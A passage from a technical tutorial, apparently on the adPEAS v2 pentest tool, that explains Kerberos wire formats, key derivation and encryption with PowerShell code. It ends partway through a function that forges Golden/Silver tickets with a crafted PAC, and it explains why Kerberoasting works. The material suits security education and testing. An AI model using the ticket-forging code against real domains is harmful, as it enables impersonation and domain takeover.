adPEAS v2 Episode 7: Kerberos Internals - What Actually Happens on the Wire
Deep dive into the Kerberos protocol internals as implemented by adPEAS v2: ASN.1 encoding, key derivation, encryption algorithms, message structures, and why attacks like Kerberoasting work.
Introduction
In the previous episodes, we used adPEAS to authenticate, enumerate, and even forge tickets. But what actually happens on the wire? What do those Kerberos messages look like at the byte level?
This episode goes deep. We are going to look at:
- ASN.1 / DER encoding — How every Kerberos message is serialized
- Key derivation — How passwords become encryption keys
- Encryption algorithms — RC4-HMAC vs. AES-CTS-HMAC-SHA1
- Message structures — AS-REQ, AS-REP, TGS-REQ, TGS-REP, KRB-CRED
- Ticket internals — What is inside a TGT or Service Ticket
- Why Kerberoasting and ASREPRoasting work — The cryptographic reason
This is not about running tools. This is about understanding the protocol at the level where you can build your own implementation — which is exactly what adPEAS does.
Why does this matter? Because if you understand the bytes, you understand the attacks. Every Kerberos attack exploits a specific property of the protocol. Kerberoasting works because of how Service Tickets are encrypted. ASREPRoasting works because of what happens when pre-authentication is disabled. Golden Tickets work because of what the KDC trusts. Once you see the structures, the attacks become obvious.
Part 1: ASN.1 — The Language of Kerberos
Every single Kerberos message is encoded in ASN.1 DER (Distinguished Encoding Rules). If you have ever looked at a Kerberos packet in Wireshark, you have seen ASN.1. If you have ever parsed a .kirbi file, you have parsed ASN.1.
ASN.1 is a binary encoding format defined in the Kerberos RFC (RFC 4120). It is not optional — it is the encoding. Every byte in a Kerberos message follows ASN.1 rules.
Tag-Length-Value (TLV)
Every ASN.1 element follows the same pattern:
+-----+--------+-------+
| Tag | Length | Value |
+-----+--------+-------+
- Tag (1 byte): Identifies the data type
- Length (1 or more bytes): How many bytes the value occupies
- Value (variable): The actual data
Common Tags
| Tag (Hex) | Type | Description |
|---|---|---|
0x02 | INTEGER | Numeric values (pvno, msg-type, etype) |
0x03 | BIT STRING | Bit flags (ticket flags, KDC options) |
0x04 | OCTET STRING | Raw bytes (encrypted data, keys) |
0x06 | OBJECT IDENTIFIER | OID (used in PKINIT) |
0x16 | IA5String | ASCII strings |
0x1B | GeneralString | Text (realm, principal names) |
0x18 | GeneralizedTime | Timestamps (authtime, endtime) |
0x30 | SEQUENCE | Ordered collection of elements |
0x31 | SET | Unordered collection |
Context-Specific Tags
Kerberos uses context-specific tags extensively. These are constructed tags that wrap inner elements:
Context tag [n] = 0xA0 + n
So [0] = 0xA0, [1] = 0xA1, [2] = 0xA2, and so on.
These are used to label fields within a SEQUENCE. For example, in an AS-REQ:
SEQUENCE (0x30)
[1] (0xA1) -> INTEGER 5 (pvno)
[2] (0xA2) -> INTEGER 10 (msg-type = AS-REQ)
[3] (0xA3) -> SEQUENCE (padata)
[4] (0xA4) -> SEQUENCE (req-body)
Length Encoding
ASN.1 DER uses two forms for length:
Short form (value < 128):
Length byte = value directly
Example: 0x05 means 5 bytes
Long form (value >= 128):
First byte: 0x80 + number of length bytes
Following bytes: length in big-endian
Example: 0x82 0x01 0x5A means 346 bytes
(0x82 = 2 length bytes follow, 0x015A = 346)
A Real AS-REQ Dissected
Here is the structure of an actual AS-REQ as adPEAS builds it:
AS-REQ (Application tag [10])
|
+-- SEQUENCE
|-- [1] pvno: 5
|-- [2] msg-type: 10 (AS-REQ)
|-- [3] padata: SEQUENCE OF PA-DATA
| |-- PA-DATA
| | |-- [1] padata-type: 2 (PA-ENC-TIMESTAMP)
| | +-- [2] padata-value: EncryptedData
| | |-- [0] etype: 18 (AES256)
| | +-- [2] cipher: <encrypted timestamp>
| +-- PA-DATA
| |-- [1] padata-type: 149 (PA-REQ-ENC-PA-REP)
| +-- [2] padata-value: (empty)
+-- [4] req-body: KDC-REQ-BODY
|-- [0] kdc-options: 0x40810010
| (forwardable, renewable, canonicalize, renewable-ok)
|-- [1] cname: PrincipalName
| |-- [0] name-type: 1 (NT-PRINCIPAL)
| +-- [1] name-string: ["admin"]
|-- [2] realm: "CONTOSO.COM"
|-- [3] sname: PrincipalName
| |-- [0] name-type: 2 (NT-SRV-INST)
| +-- [1] name-string: ["krbtgt", "CONTOSO.COM"]
|-- [5] till: 20370913024805Z
|-- [7] nonce: <random 32-bit>
+-- [8] etype: [18, 17, 23] (AES256, AES128, RC4)
adPEAS ASN.1 Builder
adPEAS builds every Kerberos message from scratch using its own ASN.1 builder. Here is how it constructs the basic elements:
# Build an INTEGER
function New-ASN1Integer {
param([int64]$Value)
$bytes = [System.BitConverter]::GetBytes($Value)
# Remove leading zero bytes, keep minimum
# Prepend 0x00 if high bit set (positive number looks negative)
$tag = [byte]0x02
return (New-ASN1Element -Tag $tag -Value $trimmedBytes)
}
# Build a context-specific tag [n]
function New-ASN1ContextTag {
param([int]$TagNumber, [byte[]]$InnerData)
$tag = [byte](0xA0 + $TagNumber)
return (New-ASN1Element -Tag $tag -Value $InnerData)
}
# Build a SEQUENCE
function New-ASN1Sequence {
param([byte[][]]$Elements)
$combined = $Elements | ForEach-Object { $_ } | Join-Bytes
return (New-ASN1Element -Tag 0x30 -Value $combined)
}
The core New-ASN1Element function handles the TLV encoding:
function New-ASN1Element {
param([byte]$Tag, [byte[]]$Value)
$length = $Value.Length
if ($length -lt 128) {
# Short form
$header = [byte[]]@($Tag, $length)
}
elseif ($length -lt 256) {
# Long form: 1 byte
$header = [byte[]]@($Tag, 0x81, $length)
}
elseif ($length -lt 65536) {
# Long form: 2 bytes
$header = [byte[]]@($Tag, 0x82,
($length -shr 8) -band 0xFF,
$length -band 0xFF)
}
else {
# Long form: 3 bytes
$header = [byte[]]@($Tag, 0x83,
($length -shr 16) -band 0xFF,
($length -shr 8) -band 0xFF,
$length -band 0xFF)
}
return ($header + $Value)
}
ASN.1 Parsing
Parsing is the reverse — read the tag, determine the length, extract the value:
function Read-ASN1Element {
param([byte[]]$Data, [int]$Offset)
$tag = $Data[$Offset]
$Offset++
# Read length
$lengthByte = $Data[$Offset]
$Offset++
if ($lengthByte -lt 128) {
$length = $lengthByte
}
else {
$numBytes = $lengthByte -band 0x7F
$length = 0
for ($i = 0; $i -lt $numBytes; $i++) {
$length = ($length -shl 8) + $Data[$Offset]
$Offset++
}
}
$value = $Data[$Offset..($Offset + $length - 1)]
return @{
Tag = $tag
Length = $length
Value = $value
End = $Offset + $length
}
}
Building a Complete AS-REQ
Here is a simplified version of how adPEAS builds an AS-REQ:
function New-ASREQ {
param(
[string]$Username,
[string]$Realm,
[byte[]]$EncTimestamp,
[int]$EType
)
# PA-ENC-TIMESTAMP
$paTimestamp = New-ASN1Sequence @(
(New-ASN1ContextTag 1 (New-ASN1Integer 2)), # padata-type
(New-ASN1ContextTag 2 (New-EncryptedData $EncTimestamp $EType)) # padata-value
)
# PA-REQ-ENC-PA-REP (request encrypted reply)
$paEncPaRep = New-ASN1Sequence @(
(New-ASN1ContextTag 1 (New-ASN1Integer 149)), # padata-type
(New-ASN1ContextTag 2 (New-ASN1OctetString @())) # empty value
)
# Client name
$cname = New-PrincipalName -Type 1 -Names @($Username)
# Service name (krbtgt/REALM)
$sname = New-PrincipalName -Type 2 -Names @("krbtgt", $Realm)
# KDC-REQ-BODY
$reqBody = New-ASN1Sequence @(
(New-ASN1ContextTag 0 (New-KDCOptions "forwardable,renewable,canonicalize,renewable-ok")),
(New-ASN1ContextTag 1 $cname),
(New-ASN1ContextTag 2 (New-ASN1GeneralString $Realm)),
(New-ASN1ContextTag 3 $sname),
(New-ASN1ContextTag 5 (New-ASN1GeneralizedTime "20370913024805Z")),
(New-ASN1ContextTag 7 (New-ASN1Integer (Get-Random -Maximum ([int32]::MaxValue)))),
(New-ASN1ContextTag 8 (New-ASN1SequenceOf @(
(New-ASN1Integer 18), # AES256
(New-ASN1Integer 17), # AES128
(New-ASN1Integer 23) # RC4
)))
)
# Wrap in KDC-REQ
$kdcReq = New-ASN1Sequence @(
(New-ASN1ContextTag 1 (New-ASN1Integer 5)), # pvno
(New-ASN1ContextTag 2 (New-ASN1Integer 10)), # msg-type (AS-REQ)
(New-ASN1ContextTag 3 (New-ASN1SequenceOf @($paTimestamp, $paEncPaRep))),
(New-ASN1ContextTag 4 $reqBody)
)
# Wrap in Application tag [10]
return (New-ASN1ApplicationTag 10 $kdcReq)
}
Part 2: Key Derivation — From Password to Encryption Key
The most critical part of Kerberos security is how passwords become encryption keys. This is where the cryptography lives, and where most attacks target.
RC4-HMAC (EType 23): The Simple (and Weak) Path
RC4-HMAC key derivation is embarrassingly simple:
Password -> UTF-16LE encoding -> MD4 hash -> Key
That is it. The “key” is just the NT hash of the password. This is why Pass-the-Hash works — the NT hash IS the Kerberos key for RC4-HMAC.
function Get-RC4Key {
param([string]$Password)
# Convert to UTF-16LE
$passwordBytes = [System.Text.Encoding]::Unicode.GetBytes($Password)
# MD4 hash (the NT hash)
$md4 = New-MD4Hash -Data $passwordBytes
return $md4 # This is both the NT hash and the RC4-HMAC key
}
Why this is a problem:
- No salt — the same password always produces the same key
- No iteration — one MD4 computation, done
- The key IS the NT hash — stored in the SAM/NTDS, used for NTLM auth too
- Rainbow tables work perfectly against this
AES256-CTS-HMAC-SHA1-96 (EType 18): The Proper Path
AES key derivation is significantly more complex and secure. It uses PBKDF2 with the Kerberos principal as a salt:
Password + Salt -> PBKDF2-SHA1 (4096 iterations) -> Random-to-Key -> Key
The salt for AES is constructed as:
Salt = uppercase(Realm) + principal
= "CONTOSO.COM" + "admin"
= "CONTOSO.COMadmin"
For machine accounts:
Salt = uppercase(Realm) + "host" + lowercase(FQDN)
= "CONTOSO.COM" + "host" + "dc01.contoso.com"
= "CONTOSO.COMhostdc01.contoso.com"
function Get-AES256Key {
param(
[string]$Password,
[string]$Salt
)
$passwordBytes = [System.Text.Encoding]::UTF8.GetBytes($Password)
$saltBytes = [System.Text.Encoding]::UTF8.GetBytes($Salt)
# PBKDF2-SHA1 with 4096 iterations, 32 bytes output
$pbkdf2 = New-Object System.Security.Cryptography.Rfc2898DeriveBytes(
$passwordBytes, $saltBytes, 4096
)
$rawKey = $pbkdf2.GetBytes(32)
# Random-to-Key for AES256: DK(key, n-fold("kerberos"))
$key = Get-DK -BaseKey $rawKey -Usage "kerberos"
return $key
}
The n-fold Algorithm
Kerberos uses a function called n-fold to derive fixed-length values from variable-length inputs. It is defined in RFC 3961 and is used in AES key derivation.
The idea: take an input of any length and “fold” it into exactly n bits, preserving all entropy.
function Get-NFold {
param(
[byte[]]$Input,
[int]$OutputBits
)
$inputBits = $Input.Length * 8
$outputBytes = $OutputBits / 8
$lcm = Get-LCM $inputBits $outputBits
# Rotate and add with carry
$result = New-Object byte[] $outputBytes
$carry = 0
for ($i = ($lcm / $inputBits) - 1; $i -ge 0; $i--) {
$rotated = Get-RotateRight $Input ($i * 13 % $inputBits)
# Add into result with carry
for ($j = $outputBytes - 1; $j -ge 0; $j--) {
$sum = $result[$j] + $rotated[$j % $rotated.Length] + $carry
$result[$j] = $sum -band 0xFF
$carry = $sum -shr 8
}
}
# Propagate final carry
while ($carry -ne 0) {
for ($j = $outputBytes - 1; $j -ge 0; $j--) {
$sum = $result[$j] + $carry
$result[$j] = $sum -band 0xFF
$carry = $sum -shr 8
}
}
return $result
}
Key Derivation Functions: Ke, Ki, Kc
From the base key, Kerberos derives purpose-specific keys:
Base Key (from PBKDF2)
|
|-- DK(base, n-fold("kerberos")) -> Protocol Key
|
|-- Ke = DK(key, usage + 0xAA) -> Encryption sub-key
|-- Ki = DK(key, usage + 0x55) -> Integrity sub-key
|-- Kc = DK(key, usage + 0x99) -> Checksum sub-key
Each “usage” is a 32-bit number that ensures different contexts produce different keys, even from the same base key:
| Usage | Context |
|---|---|
| 1 | PA-ENC-TIMESTAMP (AS-REQ pre-auth) |
| 3 | AS-REP encrypted part |
| 7 | TGS-REQ authenticator (AP-REQ in TGS) |
| 8 | TGS-REP encrypted part |
| 11 | AP-REQ authenticator |
| 12 | AP-REP encrypted part |
function Get-DK {
param(
[byte[]]$BaseKey,
[string]$Usage
)
$usageBytes = [System.Text.Encoding]::ASCII.GetBytes($Usage)
$folded = Get-NFold -Input $usageBytes -OutputBits ($BaseKey.Length * 8)
# Encrypt the n-folded usage with the base key in CBC mode
# Then take the first KeyLength bytes
$result = New-Object byte[] $BaseKey.Length
$block = $folded
$aes = [System.Security.Cryptography.Aes]::Create()
$aes.Mode = [System.Security.Cryptography.CipherMode]::ECB
$aes.Padding = [System.Security.Cryptography.PaddingMode]::None
$aes.Key = $BaseKey
$encryptor = $aes.CreateEncryptor()
$offset = 0
while ($offset -lt $result.Length) {
$block = $encryptor.TransformFinalBlock($block, 0, $block.Length)
[Array]::Copy($block, 0, $result, $offset, [Math]::Min($block.Length, $result.Length - $offset))
$offset += $block.Length
}
return $result
}
The adPEAS Get-Hash Function
adPEAS wraps all of this in a single Get-Hash function that returns the appropriate key based on the encryption type:
function Get-Hash {
param(
[string]$Password,
[string]$Salt,
[int]$EType
)
switch ($EType) {
23 {
# RC4-HMAC: just MD4(UTF-16LE(password))
$passwordBytes = [System.Text.Encoding]::Unicode.GetBytes($Password)
return (New-MD4Hash -Data $passwordBytes)
}
17 {
# AES128: PBKDF2-SHA1(password, salt, 4096, 16)
$key = Get-PBKDF2Key -Password $Password -Salt $Salt -Iterations 4096 -KeyLength 16
return (Get-DK -BaseKey $key -Usage "kerberos")
}
18 {
# AES256: PBKDF2-SHA1(password, salt, 4096, 32)
$key = Get-PBKDF2Key -Password $Password -Salt $Salt -Iterations 4096 -KeyLength 32
return (Get-DK -BaseKey $key -Usage "kerberos")
}
}
}
Part 3: Encryption — Protecting Kerberos Messages
With keys derived, the next question is: how are Kerberos messages actually encrypted?
RC4-HMAC Encryption (EType 23)
RC4-HMAC encryption in Kerberos works as follows:
Encrypt(Key, Usage, Plaintext):
1. K1 = HMAC-MD5(Key, Usage) # Usage-specific sub-key
2. Confounder = 8 random bytes # Prevents identical plaintext -> identical ciphertext
3. K3 = HMAC-MD5(K1, Confounder + Plaintext) # Checksum
4. K2 = HMAC-MD5(K1, K3) # Encryption sub-key
5. Ciphertext = RC4(K2, Confounder + Plaintext)
6. Output = K3 + Ciphertext # 16-byte checksum + encrypted data
function Encrypt-RC4HMAC {
param(
[byte[]]$Key,
[int]$Usage,
[byte[]]$Plaintext
)
# Step 1: Usage-specific key
$usageBytes = [System.BitConverter]::GetBytes($Usage)
$k1 = Get-HMACMD5 -Key $Key -Data $usageBytes
# Step 2: Random confounder
$confounder = New-RandomBytes -Count 8
# Step 3: Checksum
$checksumInput = $confounder + $Plaintext
$checksum = Get-HMACMD5 -Key $k1 -Data $checksumInput
# Step 4: Encryption sub-key
$k2 = Get-HMACMD5 -Key $k1 -Data $checksum
# Step 5: Encrypt
$ciphertext = Invoke-RC4 -Key $k2 -Data $checksumInput
# Step 6: Combine
return $checksum + $ciphertext
}
Why RC4-HMAC is weak:
- RC4 itself has known biases (Fluhrer-Mantin-Shamir attack)
- The key is just an NT hash — no salt, no iterations
- Single HMAC-MD5 for key derivation — fast to brute-force
- Microsoft has deprecated RC4 for Kerberos (but it still works almost everywhere)
AES-CTS-HMAC-SHA1-96 Encryption (EType 17/18)
AES encryption in Kerberos uses CTS (Ciphertext Stealing) mode, which handles arbitrary-length plaintext without padding:
Encrypt(Key, Usage, Plaintext):
1. Ke = DK(Key, Usage + 0xAA) # Encryption sub-key
2. Ki = DK(Key, Usage + 0x55) # Integrity sub-key
3. Confounder = 16 random bytes # One AES block
4. Ciphertext = AES-CTS-Encrypt(Ke, Confounder + Plaintext)
5. Checksum = HMAC-SHA1(Ki, Confounder + Plaintext)[0..11] # Truncated to 96 bits
6. Output = Ciphertext + Checksum
function Encrypt-AESCTS {
param(
[byte[]]$Key,
[int]$Usage,
[byte[]]$Plaintext
)
# Derive sub-keys
$usageKe = [System.BitConverter]::GetBytes($Usage) + [byte]0xAA
$usageKi = [System.BitConverter]::GetBytes($Usage) + [byte]0x55
$ke = Get-DK -BaseKey $Key -UsageBytes $usageKe
$ki = Get-DK -BaseKey $Key -UsageBytes $usageKi
# Confounder
$confounder = New-RandomBytes -Count 16
# Plaintext with confounder
$dataToEncrypt = $confounder + $Plaintext
# AES-CBC encrypt, then apply CTS transformation
$ciphertext = Invoke-AESCTS -Key $ke -Data $dataToEncrypt
# HMAC-SHA1, truncated to 12 bytes (96 bits)
$checksum = (Get-HMACSHA1 -Key $ki -Data $dataToEncrypt)[0..11]
return $ciphertext + $checksum
}
Ciphertext Stealing (CTS) Mode
Standard CBC mode requires plaintext to be a multiple of the block size. CTS avoids this by “stealing” bytes from the second-to-last ciphertext block:
Standard CBC (requires padding):
P1 -> E -> C1
P2 -> E -> C2
P3 (padded) -> E -> C3
CTS (no padding needed):
P1 -> E -> C1
P2 -> E -> C2'
P3 (partial) -> E -> C3'
Output: C1 + C3'(truncated) + C2'
(last two blocks are swapped, last block may be short)
function Invoke-AESCTS {
param(
[byte[]]$Key,
[byte[]]$Data
)
$blockSize = 16
if ($Data.Length -le $blockSize) {
# Single block: just AES-CBC
return (Invoke-AESCBC -Key $Key -Data (Pad-ToBlockSize $Data $blockSize))
}
# Encrypt all but the last partial block with standard CBC
$fullBlocks = [Math]::Floor($Data.Length / $blockSize) * $blockSize
if ($Data.Length % $blockSize -eq 0) {
$fullBlocks -= $blockSize # Need at least one block for CTS
}
$cbcResult = Invoke-AESCBC -Key $Key -Data $Data[0..($fullBlocks - 1)]
# Handle the last two blocks with CTS
$remaining = $Data[$fullBlocks..($Data.Length - 1)]
$lastFullCipher = $cbcResult[($cbcResult.Length - $blockSize)..($cbcResult.Length - 1)]
# Pad remaining with zeros, XOR with last cipher block, encrypt
$padded = New-Object byte[] $blockSize
[Array]::Copy($remaining, $padded, $remaining.Length)
$xored = Get-XOR $padded $lastFullCipher
$finalBlock = Invoke-AESECBEncrypt -Key $Key -Data $xored
# CTS swap: truncated second-to-last + full last
$result = $cbcResult[0..($cbcResult.Length - $blockSize - 1)]
$result += $finalBlock
$result += $lastFullCipher[0..($remaining.Length - 1)]
return $result
}
How adPEAS Handles cryptdll.dll
For environments where .NET crypto classes are restricted, adPEAS can fall back to Windows’ native cryptdll.dll:
# P/Invoke definition for CDLocateCSystem
$cryptdll = @"
[DllImport("cryptdll.dll", CharSet = CharSet.Auto)]
public static extern int CDLocateCSystem(int etype, out IntPtr pCheckSum);
"@
# The KERB_ECRYPT structure
# +--------+--------+--------+--------+--------+
# | EType | BlockSz| ExportSz| KeySz | ChkSz |
# +--------+--------+--------+--------+--------+
# | Initialize | Encrypt | Decrypt | Finish |
# +--------+--------+--------+--------+--------+
# Usage: Let Windows handle the crypto
function Invoke-CryptDllEncrypt {
param(
[byte[]]$Key,
[int]$Usage,
[byte[]]$Plaintext,
[int]$EType
)
# Locate the crypto system for this etype
$pCSystem = [IntPtr]::Zero
$result = [CryptDll]::CDLocateCSystem($EType, [ref]$pCSystem)
if ($result -ne 0) {
throw "CDLocateCSystem failed for etype $EType"
}
# Marshal the function pointers
$cSystem = [System.Runtime.InteropServices.Marshal]::PtrToStructure(
$pCSystem, [Type][KERB_ECRYPT])
# Initialize -> Encrypt -> Finish
$context = [IntPtr]::Zero
$cSystem.Initialize($Key, $Key.Length, $Usage, [ref]$context)
$output = New-Object byte[] ($Plaintext.Length + $cSystem.HeaderSize)
$cSystem.Encrypt($context, $Plaintext, $Plaintext.Length, $output, [ref]$output.Length)
$cSystem.Finish([ref]$context)
return $output
}
Part 4: Kerberos Message Types
Now that we understand ASN.1 encoding and encryption, let us look at the actual Kerberos messages.
AS-REQ / AS-REP (Authentication Service)
The AS exchange is the initial authentication:
+----------+ +---------+
| Client | | KDC |
+----+-----+ +----+----+
| |
| AS-REQ |
| +-- pvno: 5 |
| +-- msg-type: 10 |
| +-- padata: |
| | +-- PA-ENC-TIMESTAMP |
| | (encrypted with client key) |
| +-- req-body: |
| +-- cname: "admin" |
| +-- realm: "CONTOSO.COM" |
| +-- sname: "krbtgt/CONTOSO.COM" |
| +-- etype: [18, 17, 23] |
|------------------------------------------>|
| |
| Authentication check: |
| 1. Find "admin" in AD |
| 2. Get admin's key |
| 3. Decrypt PA-ENC-TS |
| 4. Check timestamp |
| |
| AS-REP |
| +-- pvno: 5 |
| +-- msg-type: 11 |
| +-- crealm: "CONTOSO.COM" |
| +-- cname: "admin" |
| +-- ticket: (encrypted with krbtgt key) |
| | This is the TGT |
| +-- enc-part: (encrypted with client |
| key - contains session key, times) |
|<------------------------------------------|
| |
The AS-REP contains two encrypted blobs:
- The Ticket (TGT) — Encrypted with the krbtgt key. The client cannot read this.
- The enc-part — Encrypted with the client’s key. Contains the session key.
function Parse-ASREP {
param([byte[]]$Data)
$asn1 = Read-ASN1Element -Data $Data -Offset 0
$inner = Read-ASN1Sequence -Data $asn1.Value
$result = @{}
foreach ($element in $inner) {
switch ($element.ContextTag) {
0 { $result.pvno = Read-ASN1Integer $element.Value }
1 { $result.MsgType = Read-ASN1Integer $element.Value }
2 { $result.crealm = Read-ASN1String $element.Value }
3 { $result.cname = Parse-PrincipalName $element.Value }
5 { $result.Ticket = Parse-Ticket $element.Value }
6 { $result.EncPart = Parse-EncryptedData $element.Value }
}
}
return $result
}
TGS-REQ / TGS-REP (Ticket Granting Service)
The TGS exchange uses the TGT to request a Service Ticket:
+----------+ +---------+
| Client | | KDC |
+----+-----+ +----+----+
| |
| TGS-REQ |
| +-- pvno: 5 |
| +-- msg-type: 12 |
| +-- padata: |
| | +-- PA-TGS-REQ (AP-REQ): |
| | +-- ticket: TGT |
| | +-- authenticator: |
| | (encrypted with TGT |
| | session key) |
| +-- req-body: |
| +-- sname: "LDAP/dc01.contoso.com" |
| +-- realm: "CONTOSO.COM" |
| +-- etype: [18, 17, 23] |
|------------------------------------------->|
| |
| Service Ticket |
| generation: |
| 1. Decrypt TGT |
| (krbtgt key) |
| 2. Verify authenticator|
| 3. Look up service |
| account key |
| 4. Build Service Ticket|
| encrypted with |
| service key |
| |
| TGS-REP |
| +-- pvno: 5 |
| +-- msg-type: 13 |
| +-- ticket: (encrypted with service |
| | account key) |
| +-- enc-part: (encrypted with TGT |
| session key) |
|<-------------------------------------------|
| |
Key insight for Kerberoasting: The Service Ticket is encrypted with the service account’s key. If you can obtain a Service Ticket, you can try to brute-force the service account’s password offline.
KRB-CRED (Credential Message)
KRB-CRED is the message type used to transfer tickets between applications. This is what .kirbi files contain:
KRB-CRED (Application tag [22])
|
+-- SEQUENCE
|-- [0] pvno: 5
|-- [1] msg-type: 22
|-- [2] tickets: SEQUENCE OF Ticket
| +-- Ticket (the actual TGT or Service Ticket)
+-- [3] enc-part: EncryptedData
+-- EncKrbCredPart
+-- [0] ticket-info: SEQUENCE OF KrbCredInfo
+-- KrbCredInfo
|-- [0] key: EncryptionKey (session key)
|-- [1] prealm: "CONTOSO.COM"
|-- [2] pname: "admin"
|-- [3] flags: TicketFlags
|-- [4] authtime: timestamp
|-- [5] starttime: timestamp
|-- [6] endtime: timestamp
+-- [7] renew-till: timestamp
For .kirbi files, the enc-part is often “encrypted” with a null key (etype 0) — meaning it is essentially plaintext. This is why .kirbi files are so valuable to attackers.
function New-KRBCred {
param(
[byte[]]$Ticket,
[byte[]]$SessionKey,
[int]$SessionKeyEType,
[string]$Realm,
[string]$UserName,
[uint32]$TicketFlags,
[DateTime]$AuthTime,
[DateTime]$StartTime,
[DateTime]$EndTime,
[DateTime]$RenewTill
)
# KrbCredInfo
$krbCredInfo = New-ASN1Sequence @(
(New-ASN1ContextTag 0 (New-EncryptionKey $SessionKey $SessionKeyEType)),
(New-ASN1ContextTag 1 (New-ASN1GeneralString $Realm)),
(New-ASN1ContextTag 2 (New-PrincipalName -Type 1 -Names @($UserName))),
(New-ASN1ContextTag 3 (New-ASN1BitString (ConvertTo-Bytes $TicketFlags))),
(New-ASN1ContextTag 4 (New-ASN1GeneralizedTime $AuthTime)),
(New-ASN1ContextTag 5 (New-ASN1GeneralizedTime $StartTime)),
(New-ASN1ContextTag 6 (New-ASN1GeneralizedTime $EndTime)),
(New-ASN1ContextTag 7 (New-ASN1GeneralizedTime $RenewTill))
)
# EncKrbCredPart
$encKrbCredPart = New-ASN1Sequence @(
(New-ASN1ContextTag 0 (New-ASN1SequenceOf @($krbCredInfo)))
)
# Wrap in Application tag [29] for EncKrbCredPart
$encPart = New-ASN1ApplicationTag 29 $encKrbCredPart
# "Encrypt" with null key (etype 0, kvno 0)
$encryptedPart = New-EncryptedData -EType 0 -Data $encPart
# KRB-CRED
$krbCred = New-ASN1Sequence @(
(New-ASN1ContextTag 0 (New-ASN1Integer 5)), # pvno
(New-ASN1ContextTag 1 (New-ASN1Integer 22)), # msg-type
(New-ASN1ContextTag 2 (New-ASN1SequenceOf @($Ticket))),
(New-ASN1ContextTag 3 $encryptedPart)
)
# Wrap in Application tag [22]
return (New-ASN1ApplicationTag 22 $krbCred)
}
Part 5: Ticket Structure — What is Inside a Ticket?
The Ticket Envelope
A Kerberos Ticket has this structure:
Ticket (Application tag [1])
|
+-- SEQUENCE
|-- [0] tkt-vno: 5
|-- [1] realm: "CONTOSO.COM"
|-- [2] sname: PrincipalName
| |-- [0] name-type: 2 (NT-SRV-INST)
| +-- [1] name-string: ["krbtgt", "CONTOSO.COM"] (for TGT)
| or: ["LDAP", "dc01.contoso.com"] (for Service Ticket)
+-- [3] enc-part: EncryptedData
|-- [0] etype: 18 (AES256)
|-- [1] kvno: 2 (key version number)
+-- [2] cipher: <encrypted EncTicketPart>
The enc-part is encrypted with:
- krbtgt key for TGTs
- Service account key for Service Tickets
Only the KDC can decrypt TGTs. Only the service account can decrypt Service Tickets. The client never sees the contents.
EncTicketPart — The Heart of the Ticket
Once decrypted, the EncTicketPart reveals everything the KDC knows about the authenticated user:
EncTicketPart (Application tag [3])
|
+-- SEQUENCE
|-- [0] flags: TicketFlags (bit field)
|-- [1] key: EncryptionKey (session key)
| |-- [0] keytype: 18 (AES256)
| +-- [1] keyvalue: <32 bytes>
|-- [2] crealm: "CONTOSO.COM"
|-- [3] cname: PrincipalName
| |-- [0] name-type: 1 (NT-PRINCIPAL)
| +-- [1] name-string: ["admin"]
|-- [4] transited: TransitedEncoding
|-- [5] authtime: 20260513120000Z
|-- [6] starttime: 20260513120000Z
|-- [7] endtime: 20260513220000Z
|-- [8] renew-till: 20260520120000Z
+-- [9] authorization-data: AuthorizationData
+-- AD-IF-RELEVANT
+-- AD-WIN2K-PAC
(the PAC -- Privilege Attribute Certificate)
Ticket Flags
The flags field is a 32-bit value where each bit has a specific meaning:
| Bit | Flag | Description |
|---|---|---|
| 0 | reserved | (unused) |
| 1 | forwardable | Ticket can be forwarded to another host |
| 2 | forwarded | Ticket has been forwarded |
| 3 | proxiable | Ticket can be proxied |
| 4 | proxy | Ticket is a proxy |
| 5 | may-postdate | Ticket can be postdated |
| 6 | postdated | Ticket is postdated |
| 7 | invalid | Ticket is invalid (needs validation) |
| 8 | renewable | Ticket can be renewed |
| 9 | initial | Ticket was issued via AS exchange (not TGS) |
| 10 | pre-authent | Pre-authentication was performed |
| 11 | hw-authent | Hardware authentication was used |
| 12 | transited-policy-checked | Transited policy checked by KDC |
| 13 | ok-as-delegate | Service is trusted for delegation |
Common flag combinations:
TGT (normal): 0x40E10000 (forwardable, renewable, initial, pre-authent)
Service Ticket: 0x40A50000 (forwardable, renewable, pre-authent)
Golden Ticket: 0x40E10000 (mimics a normal TGT)
function New-TicketFlags {
param([string[]]$Flags)
$flagMap = @{
'forwardable' = 0x40000000
'forwarded' = 0x20000000
'proxiable' = 0x10000000
'proxy' = 0x08000000
'may-postdate' = 0x04000000
'postdated' = 0x02000000
'invalid' = 0x01000000
'renewable' = 0x00800000
'initial' = 0x00400000
'pre-authent' = 0x00200000
'hw-authent' = 0x00100000
'transited-policy-checked' = 0x00080000
'ok-as-delegate' = 0x00040000
}
$value = [uint32]0
foreach ($flag in $Flags) {
$value = $value -bor $flagMap[$flag]
}
return [System.BitConverter]::GetBytes($value)
}
Building a Ticket (for Golden/Silver Ticket Forging)
When adPEAS forges a Golden Ticket, it builds the entire ticket from scratch:
function New-ForgedTicket {
param(
[string]$Username,
[int]$UserId,
[string]$Domain,
[string]$DomainSID,
[byte[]]$ServiceKey, # krbtgt key for Golden, service key for Silver
[int]$ServiceKeyEType,
[string]$ServiceName,
[DateTime]$AuthTime,
[DateTime]$EndTime
)
# Generate a random session key
$sessionKey = New-RandomBytes -Count 32
$sessionKeyEType = 18 # AES256
# Build the PAC (Privilege Attribute Certificate)
$pac = New-PAC -Username $Username -UserId $UserId `
-Domain $Domain -DomainSID $DomainSID `
-ServiceKey $ServiceKey -ServiceKeyEType $ServiceKeyEType
# Authorization data: AD-IF-RELEVANT -> AD-WIN2K-PAC
$authData = New-ASN1SequenceOf @(
(New-ASN1Sequence @(
(New-ASN1ContextTag 0 (New-ASN1Integer 1)), # AD-IF-RELEVANT
(New-ASN1ContextTag 1 (New-ASN1OctetString (
New-ASN1SequenceOf @(
(New-ASN1Sequence @(
(New-ASN1ContextTag 0 (New-ASN1Integer 128)), # AD-WIN2K-PAC
(New-ASN1ContextTag 1 (New-ASN1OctetString $pac))
))
)
)))
))
)
# EncTicketPart
$encTicketPart = New-ASN1Sequence @(
(New-ASN1ContextTag 0 (New-TicketFlags @('forwardable','renewable','initial','pre-authent'))),
(New-ASN1ContextTag 1 (New-EncryptionKey $sessionKey $sessionKeyEType)),
(New-ASN1ContextTag 2 (New-ASN1GeneralString $Domain.ToUpper())),
(New-ASN1ContextTag 3 (New-PrincipalName -Type 1 -Names @($Username))),
(New-ASN1ContextTag 4 (New-TransitedEncoding)),
(New-ASN1ContextTag 5 (New-ASN1GeneralizedTime $AuthTime)),
(New-ASN1ContextTag 6 (New-ASN1GeneralizedTime $AuthTime)),
